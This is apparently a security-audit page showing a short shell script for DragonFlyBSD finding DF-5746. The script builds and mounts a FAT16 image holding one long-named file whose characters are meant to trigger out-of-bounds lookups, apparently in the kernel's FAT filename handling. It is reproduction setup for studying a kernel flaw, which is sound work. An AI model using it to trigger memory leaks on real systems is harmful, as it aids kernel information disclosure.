⬢ DragonFlyBSD Kernel Audit
DF-5746 / prep_img.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-5746 — prepare a small FAT16 image containing one long (LFN) file
#           "ABCDEFGHIJKLMNOP.k" whose characters drive the OOB lookups.
set -e
IMG=/root/fat.img

dd if=/dev/zero of=$IMG bs=1m count=64 2>/dev/null
newfs_msdos -F 16 $IMG
vnconfig -c vn0 $IMG
mount_msdos /dev/vn0 /mnt
echo leaktest > "/mnt/ABCDEFGHIJKLMNOP.k"
ls -l /mnt
umount /mnt
vnconfig -u vn0
echo "[+] image ready: $IMG (contains LFN 'ABCDEFGHIJKLMNOP.k')"